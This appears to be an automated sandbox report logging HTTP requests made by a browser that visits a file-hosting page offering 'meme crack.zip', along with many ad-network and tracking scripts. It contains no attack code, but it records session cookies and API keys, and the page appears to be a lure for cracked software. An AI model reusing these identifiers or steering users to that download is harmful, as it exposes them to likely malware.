Source: global traffic	HTTP traffic detected: GET /slake/asset/fonts/themify--fvbane.woff HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://oxy.stsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://oxy.st/slake/asset/css/elements.css?1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/slake/style.css?ver=6Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/slice_white.png HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /images/sprite3.png HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /img/oxy-logo.svg HTTP/1.1Host: oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /images/ltd.svg HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1Host: lg3.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/rlf.js HTTP/1.1Host: cdn.adlook.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sm/getcode?apiKey=b68c106c3df6f586f8cb1f48c5036112 HTTP/1.1Host: smatr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/bootstrap.min.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/jquery.mCustomScrollbar.concat.min.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/plugins.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/slice_white.png HTTP/1.1Host: oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /islands/_/KRBKbh7904nwfw8-FzDelXRpZ9o.woff2 HTTP/1.1Host: yastatic.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://oxy.stsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/sprite3.png HTTP/1.1Host: oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /islands/_/TR2STky64Ra69XlYzqKN7cnjYfQ.woff2 HTTP/1.1Host: yastatic.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://oxy.stsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/main.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1Host: oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/ajax-mail.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /images/ltd.svg HTTP/1.1Host: oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/ajax-subscribe.js HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/d/SmUhAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /ads/lib_adagio.js HTTP/1.1Host: cdn.themoneytizer.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usync/?pubId=2a897e3f18e6769&cb=1718442893618 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1Host: lg3.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?c=147&r=2&j=criteoCallback HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libJsLP.js HTTP/1.1Host: tag.leadplace.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/footer-bg.png HTTP/1.1Host: oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/slake/style.css?ver=6Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629; smid=a1uebhcM
Source: global traffic	HTTP traffic detected: GET /sm/stat?uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=80&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1Host: ogffa.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /quant.js HTTP/1.1Host: secure.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hit?t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 HTTP/1.1Host: counter.yadro.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/12771/px.js HTTP/1.1Host: p.cpx.toConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mailNotification.php?st=a96081b6-db78-48c4-9f82-b93e316fb1f7 HTTP/1.1Host: adtrack.adleadevent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f/sdk.js?z=651407 HTTP/1.1Host: system-notify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/1.0/id5-api.js HTTP/1.1Host: cdn.id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/rlf.css?1.6 HTTP/1.1Host: cdn.adlook.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /u/cds.html HTTP/1.1Host: cdn.adlook.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wckr.php?ref=https%3A%2F%2Foxy.st%2Fd%2FSmUh&id=MTIZ HTTP/1.1Host: tag.leadplace.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Foxy.st%2Fd%2FSmUh&top=&pt=inread&_ts=1718442894727 HTTP/1.1Host: ads.adlook.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /diff/js/assets/topics_frame.html HTTP/1.1Host: ced-ns.sascdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=30&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1Host: ogffa.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/footer-bg.png HTTP/1.1Host: oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629; smid=a1uebhcM; sm-view=1
